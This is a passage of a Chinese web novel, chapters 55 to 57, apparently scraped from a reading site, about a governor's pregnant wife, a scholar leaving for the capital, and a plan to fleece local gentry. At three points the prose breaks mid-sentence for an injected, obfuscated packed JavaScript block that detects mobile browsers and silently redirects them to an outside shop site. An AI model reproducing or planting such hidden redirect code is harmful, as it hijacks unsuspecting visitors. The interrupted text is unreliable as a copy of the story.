刘宁沉默无言,只是久久没放开她。 她心中一声叹息,发誓来日要多学几样自保手段,为了她自己,也为了让他安心。 计划赶不上变化,就在她暗暗发誓不久,郭秀婉请的平安脉诊出她有喜了。 刘宁怔了半晌,还是旁边的傅杭道了几句吉祥话,屋子里的月樱几个丫头乐得活蹦乱跳,他才反应过来,他大喜之下赏赐全府下人,整个侯府喜气洋洋。 不出几日,刘氏有继的消息传开了,上至他这个总督,下至平民百姓,俱是欢天喜地。 夏知霜摸摸平坦的小腹,没有什么真实感。 彩玉第一时间上门道喜,因刘宁要月兰几个小心伺候夏知霜,她身边十二时辰不能离人,顾忌下人在,她们只交换了个“终于等到了”的眼神,没有太深入聊私事。 道完喜,说完瑜记的事,彩玉还带来了一个出人意料的消息。 55. 第 55 章 彩玉带来的是戚泉的消息,此事说来话长,总结而言,就是戚泉想回津都一趟。 津临是启朝的都城,故而又名津都。 戚家跟刘家一样,他们来自津都,根在津都,几十年前被外任就再也回不去故土。 不同的是,刘氏本身有旁支在观东做官,刘宁这一支是嫡系,前总督刘舒被皇帝委任为观东的封疆大吏后,刘氏一族的重心就偏向观东,事到如今,刘氏在津都几乎没有旧人了。 戚家在观东的这一支是旁系,他们在津都还有根底,据闻,本家有大佬在本朝官拜三公九卿。 里兴与津都千里之遥,横亘无数分裂的小国,战火终年不绝,莫说重回故里,来回通信都是数以年记,还是信件没有丢失的情况下才能互通有无。 戚家自知回津都无望,打算死磕观东宦海,族老准备让戚泉通过彩玉在夏知霜这边使劲,不拘什么官职,只要能在官场中占个位置就行,他们认为凭戚泉的本事,家族迟早重获荣光。 但前段时间各方休战,水路和陆路畅畅通无阻,本家来信了。 本家那边说是思念离乡太久的亲人,又不忍族众劳苦奔波,想让身为小辈的戚泉代为回乡,看望一下行将就木的老太太。 ——老太太特别疼爱这个玄孙,每次你们回信聊到他,老太太都非常的乐呵,能多吃半碗米呢。现在老太太时日无多,你们在地方做官不方便全都回来,就让他代替你们回来尽尽孝心吧。 呸!谁信呢! 戚家在观东这一脉的最年长的族老都无缘得见本家的老太太,本家以前从未把他们放在眼里,还没离开津都时,本家的宴席只客气的留给他们一两个席位。 待他们到观东有所建树,本家才一改目中无人的姿态,跟他们不冷不热的处着。之前戚家在党争中败落,本家那边不闻、不问、不救济,两边再次冷了下来。 现今本家主动联系,真是让他们“受宠若惊”。 信中的措辞华美不失亲热,字里行间却带着不容拒绝的命令。 族老们想了老半天,整合信息推断无数次,总算想通了到本家打的什么算盘——天杀的,他们摘桃子来了! 本家这一代尽是膏粱子弟,欺行霸市、作奸犯科、杀人放火,无恶不作,这不是什么秘密,官民看到戚姓人都退避三舍。 照这么过下去,等老一辈撒手人寰,小辈失了庇护,本家必定走上绝路。 本家便把手伸到旁系,戚泉就这么显出来了:有才有貌,家道中落,容易拿捏。 不凑巧,夏知霜同时递来了橄榄枝。 是留在观东挣扎做官,还是回津都享受祖上余荫,戚家商量了好几天,然后做出了选择。 他们怕触怒夏知霜,想托彩玉送礼过来。 彩玉秀眉紧蹙:“我说过好多遍你不兴这个,我保证会跟你把话说清楚,他们不听,非要我亲自交到你手上不可,”说着露出一个嘲弄的讥笑,“明明自身饥寒交迫,看病都快拿不出钱来,还要往外赠大礼。” 月梅把一个盒子端过来,打开盖子。 夏知霜饶有兴趣凑过去鉴宝,笑着调侃:“我瞧瞧是什么样的大礼。” 一匣粉珍珠,大小均匀,品质不错,按说是好东西,可由于收藏太久,珠光有点暗淡了,做饰品有点勉强。 这类东西,她库里太多了,还是珠光最璀璨的时候,天天戴不重样都戴不完。 夏知霜对月兰说:“收起来吧。” 月兰应是,从月梅手中接走盒子。 彩玉一脸“你要收吗”的表情,以她对东家的了解,东家是看不上这份“大礼”的,而戚家穷困潦倒,在她本来的设想中,东家把礼退回去,戚家当了它能多撑个一年半载。 夏知霜幽幽解释:“对你来说,他们在送一份微不足道的礼,于他们而言,这是让我息怒换他们性命的筹码。世上百分之九十九的人,只愿意相信自己的判断。” 以千丝台交上来的情报去分析,戚家人心眼多着呢,她真要把礼退回去,戚家该惶惶不可终日,害怕哪天被她给灭了。 彩玉复杂地看着她,叹了一叹。 她虽对戚泉没有男女之情,但到底是名义上的未婚夫妻,年节往来不能少。人心肉长,见多了戚家老幼的可怜之处,不免为他们打算一二。 结果人家不领她的情。 日子尚浅,她跟戚家交情不过淡淡,一片好心被辜负倒没有多伤感,叹完就过了。 临走前,彩玉暗示她小心身边人,饭都不吃就溜了。 夏知霜琢磨那句话良久,领会到了她是什么意思,并且这确实是个问题。 她怀孕才两个月,短期内肯定是不能有夫妻夜生活的,而父权社会中的男人可不会委屈自己,甚至妻子还要主动为丈夫“分忧”。 在三妻四妾是常态的时代里,作为一名贤妻,应该主动给男人准备几房小妾,小妾的人选极有可能是陪嫁丫头,然后妻子大度的表示:我最近不方便,夫君就有劳几位妹妹伺候了。 如果丈夫对丫鬟没兴趣,自己找人领进门,妻子普遍的选择是假装看不见男人的寻欢作乐,不会过问男人在外面眠花还是宿柳。 女人不能管男人,更是管不了,一管轻则被男人漠视厌弃,重则被男人拳打脚踢。 作为一个声名在外的贤妻,夏知霜决定当做什么都不知道,让她给丈夫找小妾?除非她失心疯了! 不过很快有人找上门来。 一次赴宴中,这家夫人给她介绍娘家花容月貌的侄女,那家给她介绍二八年华的幺妹,别家推出温柔可人的表小姐……姑娘们的名单林林总总能列好几页。 夏知霜吃到了好名声的甜头,怎会做出砸自己招牌的事?她来者不拒,笑得无比端庄贤惠,谁来推销都是一句话:你们的心意我记下了,我都听我们侯爷的,一切还要看他的意思。 本来是出来散散想换个心情,心情倒是换了,换成坏心情了。 可恶,万恶的封建社会! 生孩子之前再也不要参加宴会了! 夏知霜面上不显,开开心心来赴宴,走时面不改色,如众星捧月被簇拥着上了马车。 回到宅邸,她笑眯眯跟刘宁用茶点,等两人聊到兴头上,她冷不丁问身边那个罪恶之源:老刘,要小妾不要? 刘宁僵住,端到嘴边的茶有半刻忘了喝,盘算最近哪里惹到她了。 是怕她劳累所以减少她看公文的时间?最近的确没什么大事。还是恐她出门有什么意外反对她赴宴?他最后不也同意了。 他思来想去找不到根源,复望仍在笑眯眯,如同戴了微笑面具的美人,她妩媚妖娆中透着狡黠奸诈,仿佛蛇妖变的绝代佳人。 刘宁提心吊胆地问:“……霜霜?”他究竟踩了什么地雷,求夫人给个明示。 “你我夫妻二载,琴瑟相调,如胶如漆,有话俱可坦言。”夏知霜温温柔柔说着,微眯着眼眸看过去,“今为妻有孕,大夫说须分床而卧,为妻恐夫君长夜孤寂,欲为夫君寻觅二三佳丽,你看可好?” 刘宁没听完冷汗就下来了,严词拒绝。 他们夫妻曾互许忠贞,她断不会无缘无故提及此事,料是宴会上听了些许聒噪之言。 他挪过去搂着美人,再三发誓绝不要什么小妾。 夏知霜不为所动,眼尾上挑,斜斜睨去:“别这么着急拒绝,我今儿看过了,何郡守家的幺妹确有闭月之容,郑县令家的表小姐亦有羞花之貌,林将军家的女儿我见犹怜。环肥燕瘦各有千秋,我算是大饱眼福了,你不如全收了?省得挑来挑去挑花了眼。” 嘴上妙语如珠,手上不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836578|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妨碍做事,她死死揪住刘宁的腰带。 刘宁暗中记了何郡守等人几笔,算是知道今日被谁给牵连了。 他仿若无所觉,挤出一丝笑意:“大饱眼福……你喜欢看她们?” “美人如花,很是养眼,谁不喜欢?”她甜蜜地说。 “哦,各花入各眼,我独钟意你这一枝。”刘宁低头亲她光洁的额间,“你喜欢看就看吧,看上谁安排到夏宅去,想怎么看怎么看,”顿了顿,忙道,“只许你收貌美姑娘,俊俏公子想都别想。” 夏知霜上下端量他,见他并无虚假之意,无趣冷哼:“观东哪还找得出比你更俊俏的公子。” 将一直抵在他后腰的匕首移到他面颊上,她是又爱又恨,不止她一个人喜欢这张脸呢。 刘宁一点都不介意她想划花他面容的凶狠眼神,反而笑起来,他不管贴近的利刃,笑着俯身,一而再亲着温暖香软的美人。 夏知霜丢开匕首,腾出手搂上他的脖子,仰面迎接他劈头盖脸的啄吻,嗅着熟悉的兰芷气息,去贴合他淡粉的唇瓣。 亲一口,再一口。 不掺杂情痴爱欲,纯粹、眷恋、极致的浅吻。 如此温存,哪里还气得起来?她在宴席里生的闷气,他处理糟心公务积攒的郁气,好似被戳了个大洞,所有负面情绪都泄个一干二净。 夜间,夫妻不管那些无用的俗礼,照旧合睡,而且不打算分房。 夏知霜枕着他的胳膊,回想白天待字闺中的女孩子听到刘宁脸红的模样,还有妇人看她时难掩嫉恨的视线,撇了撇嘴。 刘宁微微睁眼,伸手轻拍她的背哄睡。 她闭目装睡,迷迷蒙蒙说:“真的不想把你让任何人。” “你让我也不走。”他分得出来她睡没睡着,掖好她那边的被角,柔声劝,“夜深了,放心歇吧。” 夏知霜心里悄悄笑了下,过会儿真睡着了。 郭秀婉说怀胎三月之前不能大意,她就以养胎的名义歇在府中,激增的拜帖和请帖全都回绝了。 刘宁每天在宅邸和官衙间两点一线,在家的时候总是陪在她身边,她每日上午看公文解闷,下午陪他风花雪月。 两人很久没有闲心取乐了,对乐器和画笔竟觉生疏,重拾起来别有趣意。 又过了些日子,远方的旧友得知刘府的喜事,送的贺礼已运至观东。 有许英慈送的,有许睿之妻曹氏送的,杂七杂八,观东有名有姓的人家都齐了,其中淇南也送了一份,以微生湘私人的名义所赠。 夏知霜听月兰念贺信,叫她一一回过去。 到许英慈的信却不好回了。 看得出来许英慈很开心,乐陶陶的说如果两家生的一男一女,将来他们可以做亲家了。 夏知霜和刘宁对此很无奈,还是刘宁更了解许英慈,笑说:“她是急性子,想到什么说什么,先等等再回信吧。” 果不其然,许英慈的第二封信只间隔了三日,信上东扯西拉,写满三页纸,但没再提及两家结亲的事了。 想是她深知指腹为婚不全都是恩爱佳偶,她自身饱受其苦,好不容易得已解除父辈定下的婚约嫁给所爱之人,怎么忍心让孩子也吃这个苦。 夏知霜自然更不忍心,如若孩子们以后真心喜欢,她会双手双脚赞成孩子的选择,现在他们尚未出世就用婚事捆住他们,过于残忍了。 刘宁跟她一个想法,某次跟段敖喝酒时,段敖喝多了大咧咧说他有儿有女,想跟刘家结秦晋之好,他四两拨千斤给推了。 段敖只是随便闲聊,被拒过一次,后面再聊这事又没有下文,此事便罢了。 戚泉收拾好行囊,准备出发北上之际,夏知霜想了想,叫彩玉领他到宅邸来一趟。 她要会一会这个人,是龙是虫,总要亲眼所见。 56. 第 56 章 彩玉跟随戚泉一道来,她先到内室去见了夏知霜,悄悄跟夏知霜说,就是夏知霜没有召见,戚泉也想来侯府求见一面。 哦?这倒有意思了,夏知霜饶有兴味。 踏步至外间,彩玉踱步回戚泉身旁,二人站如松柏,目视过去令人忍不住赞叹好一双郎才女貌的璧人。 夏知霜在几个丫头的服侍下端坐上位,在戚泉见礼时,细细端详。 他相貌堂堂,气质清华,目光端正,身着一袭最普通的蓝灰布衣,洗得发旧,但清爽干净。他以白带束发,想是前阵子戚父故去,还在为老父守孝的缘故。 他头一个要说的,就是为带白见她之事而告罪。 夏知霜自是不会计较这个,迅速给他们赐座。 按理,男客的位置在左侧第一个位置,彩玉却为了方便跟夏知霜说话不客气地坐过去了,戚泉好脾气的退居次座,一副理所当然的样子。 夏知霜跟彩玉说着话,余光仍在观察他,暗暗点了点头。 是个仁善孝顺、不骄不躁、伶俐知礼的书生,给人的第一印象跟千丝台交上来的资料差不离。 不过她从不以貌取人,有的恶人装起好人来,那比正经好人更像一回事。 略微闲谈几句,请过茶点,话题拐回他身上。 夏知霜朝他笑道:“张昭屡次同我提起他的同窗好友,称赞戚公子才高八斗,一手好字无出其右,我便对戚公子神交已久。得知公子不日回乡,今日便贸然请公子过府小叙。” 戚泉赶忙轻微侧身,面朝上座,耷眉敛目,拱手回话:“承蒙侯夫人赏识,在下只略通文墨,明博兄抬爱了。明博兄品行高雅、德才兼备,第一才子当之无愧,贡阳书院无有不服。” 夏知霜笑了笑,从善如流的同他一起称赞张明博。 主座上是大名鼎鼎的夏夫人,戚泉说不紧张是不可能的,他忌惮她掌握的生杀大权,紧张中含着惧意,他生怕祸从口出连累族人,吐出的每一个字都在脑海中滚过几遍,十分谨慎。 因此话题绕来绕去,半天转不到正题上。 夏知霜已然猜出他的来意,不想再浪费时间,含蓄提点:“明博在任青阳知县,抱怨说人手不足,希望多个知根知底的同僚帮扶。”她含笑看向彩玉。 彩玉回她一个淡笑,之后继续当壁花,她今天的任务是来当个不用出声的润滑剂。 下座的戚泉把心提到了嗓子眼。 夏知霜溜了他个大喘气,悠然补全后话:“彩玉常常称赞公子文采斐然,我和侯爷原是属意你,想你扶助明博一二……”怕把人吓狠了,她特意笑得更温和,“你既已选择回乡,我和侯爷虽痛失大才,但我们祝愿你一路顺遂。” 戚泉听完脸都吓白了,他以为只是夫人赏识他,没想到刘总督也知道了他这个小人物,惊骇中又带着喜意。 寒窗苦读二十载,哪个书生不想功成名就?哪个人没做过伯乐与千里马的美梦? 在他饥寒难耐、长夜难眠的每一个时刻,都幻想着能被大人物赏识,委以重任,继而光耀门楣。 他不停地写文章,苦练一手好字,手指红肿出血也不在乎,只希望能外流出去被更多的人看见,渴望能得到任何一个喜爱他文章的县令大人……不,是个县令师爷也好,县丞主薄也罢,随便一个大人物会对他印象深刻,愿意提拔他就行。 可惜没有,观淇九地只知第一才子张明博,有几个人知道他戚泉的大名?不仅是他戚泉,只怕贡阳书院那么多莘莘学子,都没有人会记得他们的姓名。 张明博学富五车,样样精,样样通。戚泉是服气的,九成羡慕,一成嫉妒。 被那样一个人压在头上,他无可奈何,他彷徨难安,不甘屈于人后,不想终身一事无成烂在泥地里。 他不敢气馁,梗着一口心气疯狂写文章,不论寒暑,不分昼夜,不在乎外人的讥诮谩骂。 现在他等来了鱼跃龙门的机会,还是他想都不敢想的总督和夫人亲自给予的机会。 他终于遇到了慧眼识珠的伯乐,勤学苦读没白费。看,他是有才能的!他也是有人赏识的! 他原先很渴望这个机遇,盼了好多年好多年,可是偏偏在他回信答应本家回乡之后才碰上。 一切都晚了。 戚泉感慨万千,脸上表露出来的情绪真实了些,话语听起来更加真挚。 夏知霜敏锐察觉他情绪的变化,虽不知他短短数息内想到什么,不过比起在她面前战战兢兢的样子,她更乐意他目下淡然应对的模样。 彩玉依旧老神在在,看不出她在想什么,也看不出她发觉身边的人几度转换情绪了没有。 戚泉侃侃而谈,首先感谢夫人和总督的知遇之恩,其次满怀歉意的婉拒他们的橄榄枝,最后陈述他选择回津都的真正原因。 纵他被本家青眼所视,假如他不想回去,拒绝的理由不是找不到。既然有家族余荫,待他回去本家,那边的族老自会发力助他平步青云,少吃了几十年艰难升迁的苦楚。 这是族人同意他回本家的一致因素。 他愿意回去的真正原因是,他剖析出观东在不久的将来定有战事,即使他在观东做了官,不说这小官做得安稳不安稳,他根基浅薄,肯定是发挥不了大用的,那不如到外面去闯荡一番,看看能不能帮助观东渡过难关。 说到这里,戚泉停了下来,小心翼翼目视主座,他想透过侯夫人的神色判断她有无怒色,可惜他不能平视君侯夫人,他最多能看清她身上精致华贵的衣领,感受得到她周身无形的威严。 这些话他都没敢对族人说,听起来太像借口,而他就像一个临战脱逃的懦弱士兵,他本打算把话烂在肚子里,可是踏进这间会客厅开始,被夏夫人和颜悦色的接待后,他觉得他应该更诚实一点。 他不想欺骗一个欣赏他才华,愿意给他机会的人。 但戚泉说完又后悔了,他被当成逃兵处置没关系,别害得族人也跟着被处罚。 室内很安静,他屏住呼吸,过了很久,或许也没有很久,方听夫人如珠落玉盘的声音:“哦?你想如何帮助观东?” 戚泉捏了把冷汗,诚实说:“小生……小生还不清楚。” 他生于观东,长在观东,观东才是他货真价实的家园,他有心助力家乡,却还没想那么远。 然后他听到夫人格外动听的笑声,像是肯定了他的言语,毕竟是还没影的事,他身无一官半职,若是高谈阔论要如何如何,那就是把牛皮吹破了。 再是他熟悉的未婚妻的哂笑,这一定是嘲笑他大言不惭了,她经常这么对他冷笑,戚泉如卸重负,不知不觉放松下来。 夏知霜听完此番肺腑之言,终于正眼看他了,戚家人人狡诈,心眼堪比莲蓬,满嘴仁义道德,满心筹谋算计,这人倒出淤泥不染,精明不失赤忱。 凭他身上那股文弱书生少有的血性,她愿意高看他一眼。 她微笑着说:“落叶归根乃人之常情,你且放心去,我念你勇气可嘉,又曾帮助我义妹解决婚事的苦恼,我于此许诺你,我刘氏在一日,护你族中老小一日,免你后顾之忧。” 戚泉双目陡然大亮,他今天正是来赔罪保护族人,得夏夫人这句话,族人今后应是无忧。 同时他深切知晓,戚家在观东宦海不会有什么成就了,在他活着的时候,他们这一支再无人能涉足官场。君侯的庇护不是无私的,他若想族人过得好,他必须在津都出人头地,那样观东的戚家才会鸡犬升天。 所谓平衡之术,年纪比他还小的夏夫人,已经玩得炉火纯青。 若说进门的时候戚泉怀有一丁点因夏夫人年幼而想耍小聪明安然脱身,现在戚泉万万不敢生此意,只剩下庆幸自己真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841096|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚待人了,以及几分差点走错路的后怕。 他真心对夏夫人叹服,对她千恩万谢。 夏知霜问:“不知戚公子欲通何道北上?”不等他答,又说,“若无规划,你要是不嫌弃,可搭乘瑜记货船到睢国,从睢国密道去往大启国都。” 戚泉作揖:“那就感激不尽了!” 速度快得好像就等她说这句话了。 实际上也正是如此,别的路线都没有瑜记的船队安全,他本来想跟彩玉求个方便,现在有瑜记的东家做保,当然更名正言顺。 夏知霜看他跟刚进门时换了个人似的,特会打蛇上棍,试探道:“此去路遥,关卡无数,若公子不嫌我多事,我给公子准备些盘缠,遇事好打点。” “夫人慨赠,小生却之不恭了!”戚泉一口答应。 夏知霜:“……”他应得好快! 说好的读书人视金钱如粪土呢,说好的才子不为五斗米折腰呢,越是有才不是越清高吗? 彩玉也挺费解,眼尾扫过去,轻咳两声。 戚泉脸皮超厚,当作没听到。 清高能当饭吃吗?能当钱花吗?显然是不能。 嫌弃黄白之物的人,肯定没有尝过三天只进一碗米汤的饥饿,没有试过生病看不起大夫生生硬抗几个月的痛苦。 不是说他是贪图享乐的人,今时不太平,外面每个地方都有人收拦路财,在观东还好,没有人敢拦截瑜记船队,到了睢国和启朝就不一样了,想保命就得当个散财童子。 他穷啊,穷得叮当响,正愁路钱怎么办,夫人慷慨赐财,可不就是瞌睡碰着了枕头? 他知道彩玉不会让他没钱上路,不知为何,他不想欠彩玉。反正他已欠夏夫人良多,虱子多了不怕痒,哪还在意多一桩还是少一桩。 想到这儿,戚泉理直气壮,准确来说,他和夏夫人之间不是买卖人情,而是一场交易。 夏知霜也看出他的实际想法了,呵呵两声:“路途凶险,要不给你安排护卫?” “那真是再好不过了!”戚泉大喜过望。 她:“……” 少年!你是真不怕这个护卫是她安插的眼线啊,若你不忠,护卫就是行刑的刽子手,你是真不担心被大卸八块! 戚泉当然怕,可他别无选择,哪里都有猖獗的匪类,他不能保证自己能活着去到津都,有人保护那是求之不得。 夏知霜叫来早就选好的一个暗卫:“十六,我把戚公子交给你了。”再对戚泉解释,“不是我吝啬,人多显眼,你别小看十六,他是影阁杜川阁主推荐的人,在影阁亦是百里挑一。” 戚泉本以为她给个普通侍卫,闻言哪会嫌少,他听过影阁暗卫的大名,对他们的身手毫不怀疑,这是捡了个大礼啊。 他对主座叠声感谢,又向少年暗卫躬身一揖,说委屈十六跟在他身边假扮书童了云云。 十六侧身避开他的作揖,朝夏知霜半跪作诀别礼,无言站到戚泉身后。 话至此,他们没多留。 戚泉趁人不注意,抬头大胆直视夏知霜,引来她关注后,他快速看了眼彩玉,再回看她,意思很明显,他请求夏知霜替他那份多多照顾彩玉。 夏知霜挑眉,几不可见颔首,戚泉心下大定,用眼神道谢,像个斗士一样转身离去。 跟个人精似的,这小子真他娘的是个人才啊! 晚些时候,刘宁从衙门回来。 他听说上午发生的事,笑道:“或许他文采比不上张明博,做官的本事绝对不会输。此人若能活着到津都,必是前途无量。” 她怅然若失:“是啊,他太有意思了。” 审时度势、见貌辨色、能屈能伸,那样圆滑的人放哪里都吃得开,太值得投资了。 唉,都有点后悔放他走了。 夫妇面面相觑,均是扼腕长叹。 57. 第 57 章 两日之后戚泉出发了,夏知霜依照约定,派人好生关照戚家,令其族人吃饱穿暖,不许邻里乡亲欺凌。 对于享受过锦衣玉食、挥金如土的戚家人,这算不上什么好日子,但她只负责为他们遮风挡雨,让他们过上好生活是戚泉的责任,不是她这个外人的义务。 彩玉看在戚泉是她友人的份上,偶尔派人送些东西过去,改善一下他们的生活,再多的照拂就无能为力了。 戚家能否起复,要看戚泉有无造化。 而今戚泉能不能全须全尾抵达津都还未可知,就算他活着去到津都,会不会一鸣惊人还得打个问号,夏知霜和彩玉为戚家做到这份上,已经是至义尽。 酷暑来临,连下好几天雷雨。 夏知霜怀这胎不怎么辛苦,像章氏和尤氏亲身经历的害喜、食欲不振、胸口胀痛之类的严重反应,她目前通通没遇上,只是比往昔更嗜睡而已。 有时她能睡上一天一夜,除了三餐被月荷挖起来按时喂,剩下的时间都瘫在床上,睡饱后也懒洋洋的不想起。 起初刘宁担心她身体吃不消,郭秀婉一天看诊两次,再三保证她没事,孕相本就因人而异,嗜睡的孕妇也是有的,他这才放心了。 他包揽政务要事,宅邸和衙门的凡俗杂事一律不让夏知霜操心,刘宁不想她劳神,两人说话时报喜不报忧。 夏知霜不是能闲下来的性子,精神头足时,喜欢叫傅家人进来问话。 傅杭现在跟刘宁形影不离,整日忙得脚不沾地,傅榆镇守聚贤庄,等闲不离衙门,她见最多的人是傅春。 傅春年纪轻,资历浅,还未修炼出前辈们的老辣心性,三言两语被她诈出总督署在忙碌何事。 其一,汛期将至,重中之重是要给台开郡修坝筑堤。 去年水患过后的重建工程才进入尾声,最后一批灾民刚妥善安置完毕,又要投入资金到今年的防洪中去。 这笔钱可不是小数目,属于必要支出款项,至今还没着落。 其二,观东药材储存不太够,不至于紧缺,但若是开战,怕是撑不了多久。 不止观东有这个问题,一般有战争苗头的时候,各地药材商会嗅到商机趁机搂大钱。 药材是必需品,能囤就多囤,贵点也没办法。 其三,新兵开始服役,分批次整合操练,又多了几万张需要公家养的嘴。 这事很复杂,军费的问题都是轻的。今年已经两次征兵,第三次正在进行中,很多人家仅剩的男丁被强行拉走了,民间传出了怨言。 这不能怪老百姓,内乱那几年死了很多人,征兵没停过,后来小战不断,又折进去不少人命,仅剩老弱妇孺的家庭并不少见。 男丁在农耕时代是最重要的劳动力,毋庸置疑的顶梁柱,柱子塌了,家跟就倒了。 人生在世不过吃喝二字,百姓若是长期吃不饱,可就不认你是皇帝老儿还是劳什子总督。 所以如果继续抓壮丁,刘氏恐会流失民意,可是为了守卫观东,又不能不扩充乌衣甲。 唉,比起糟糕的民心问题,还是金钱的问题好解决一点。 夏知霜虚心求问,衙门通常怎么搞钱? 刘宁脸上的笑容有多光风霁月,回答的话语就有多暗黑。 ——找个理由向朝廷申请拨款,巧立名目增加百姓赋税,不择手段榨干富户油水。 对比以上三种来钱途径,贪官污吏抄出来的那点子钱就是三瓜俩枣,不值一提。 皇帝为何明知某某是大贪官却充耳不闻?刘宁缘何对禄蠹视而不见?因为在他们眼中,下臣贪的那点小钱真不算什么,抄了拿去做事连塞牙缝都不够,反正贪官被他们拿捏在手里跑不掉,想抄随时可抄。 言归正传,以观东的情况,找朝廷要钱是甭想了。 增加赋税也不是好时机,会加重民间的怨气。 那么只剩第三种,把乡绅富户当年猪宰杀。 刘宁说,怎么宰也是有讲究的,如果官弱绅强,可官商勾结两头捞钱,反之官强绅弱,可吃干抹净连骨头渣都不剩。 夏知霜好奇:“还有强得过地方官员的富户?” 刘宁分心研墨,徐徐说:“你以为他们怎么富起来的?背后无人撑腰如何守得住财富。有些乡绅几代无人出仕,眼看式微好欺负,实则树大根深。他们在当地享有民望,几世积攒的人脉不可小觑。” 地方官员由朝廷派遣,他们有任期,而乡绅盘踞当地久远,有时候官员想动员民众办个事,使半天劲都不如乡绅说句话好使。 就拿观东举例,四郡子民心中正头皇帝就是个吉祥物,哪天祎坤帝发疯要观东做什么事,总督署签发的文书比圣旨更受百姓重视。 夏知霜眨巴美眸,给他喂块瓜果:“县官不如现管啊,好比历代皇帝忌惮功高盖主的武将。” 对,正是这么个道理,刘宁占着嘴,只对她点点头。 他们刘氏刚到观东扎根那阵子,也不是一开始就顺顺利利,他父亲花了好长时间联合其他世族,干掉了另一批不听话的人,方能坐稳总督之位。 科普小课堂结束,刘宁须臾间列了一长串名单,考考她叫她过来认。 夏知霜定睛细看,竟认识不少,好些是陈记的老相识,尽是为富不仁的金达荣之流。 陈父留下的各家关系网她快能倒背如流了,还真能点评名单上大半的人哪些需要和光同尘,哪些可以榨干用尽。 刘宁含笑看她神采飞扬地剖析,待她语毕,没忍住爱怜地亲她面颊。 夏知霜沉溺于他盛满笑意的目光,在他退开时追过去,轻吻他俊美的侧脸、高挺的鼻梁。 不知怎么变成坐在他双膝上,紧贴相拥,两舌纠缠。 粗重的气息烫人,婀娜身段间游动的大手亦是热烫如火。 本想过个嘴瘾解解馋,谁知越解越馋。 刘宁迷离半晌,忽而停下,一手理理她颊边的碎发,一手抚在她微微隆起的小腹,找回了理智,问道:“孩儿今日乖吗?没折腾你吧。”指间移至她白嫩耳垂,爱不释手。 夏知霜贴着他的脸蹭蹭,手覆在他的手上,微喘道:“乖呀,我也乖。”脑子缺氧了,她还有点晕乎乎的。 他低低笑了声,嗓音带着情动的沙哑,好听极了。 她抬头又去贴他的唇角,探舌你来我往的缠绵,无意识绵软细碎的轻吟。 刘宁双耳捕捉到后近乎失了半条命,费九牛二虎之力才克制住,他仰首退开安全距离,把人往怀里按,轻手轻脚团着抱住。 他稍稍沉吟,提笔在名单上删掉几个,跟她解释那几户可以先留着,一下子宰那么多家说出去不好听。 夏知霜听弦知音,拿起名单看了看:“保他们的人还有用?” 她不认为观东有刘氏奈何不了的人家,只有刘氏不想宰,不存在不敢宰。 “大差不差。”刘宁笑望她一眼,她太灵透了,他时常感叹自己能娶到她是大幸事。 刘宁点着一个人名告诉夏知霜,那人是千丝台路葵的远亲,千丝台是他们的另一双眼睛,千丝台台正对他们忠心与否,至关重要。 他们宰完别的人,再对路葵透露几句他的亲戚原先在其列,他看在路葵的面上才放其一马,既是敲打,也是施恩。 夏知霜了然颔首, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844488|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞钱可以从别家搞,恰到好处的御下机会不多得,取最优解。 刘宁还想教她一个道理,破船尚有三千钉,狮子搏兔亦用全力。对外,哪怕是撮尔小国,绝不可轻敌;对内,即便是生死之交,亦不能过于信赖。 她点点头,不敢说她一直把他老爹,也就是她的公公,当成反面教材给记牢了。 傅杭把名单领走了,杜川随行,影阁兼任脏活累活,打扫衙门顾不上的漏网之鱼。 不知道这次要死多少人。 刘宁沉默了下,眉眼间染了丝倦意,对她叹:“看来我最近不能出门了。” 府外来求情的人必会络绎不断,衙门内大约也会有声泪俱下求他通融的人,疲于应付,不忍面对。 夏知霜故作轻松:“正好回来陪陪我,我一个人在家好闷。” 然后他“旧伤复发”,闭门不出,府邸只让鲁元一个外臣进入,女眷那边则是独一个彩玉。 刘宁难得清闲,全副心思放到未出世的孩儿上。 一晃神,他连孩子奶娘预备役都找好了,身家资料详细到上三代,确认无误是清白人家。 夏知霜潦草翻看一摞画像,感受到了文化冲击:“会不会太早了点?” 刘宁很肯定:“不早了,选好了要教她们规矩,筛掉学规矩学不好的。” 这事儿夏知霜没他内行,既然他这么说,那就这么办吧。 她没有说要坚持自己喂,生完后她肯定很忙不方便全天带孩子,有奶娘帮忙挺省事。 刘宁就真一手抓了,他不像别家男人不耐烦应对这种妇人该办的杂事,反而乐在其中,事无巨细的安排,力求尽善尽美。 她有时候觉得他一定是处女座,要办就办得漂漂亮亮的。 再一晃神,他进行到给孩子取名字的环节。 习俗是男女分开排序,据刘氏族谱记载,下一代男孩从“心”字,女孩从“水”字。 刘宁把着夏知霜的手,一口气写了几十张大字。 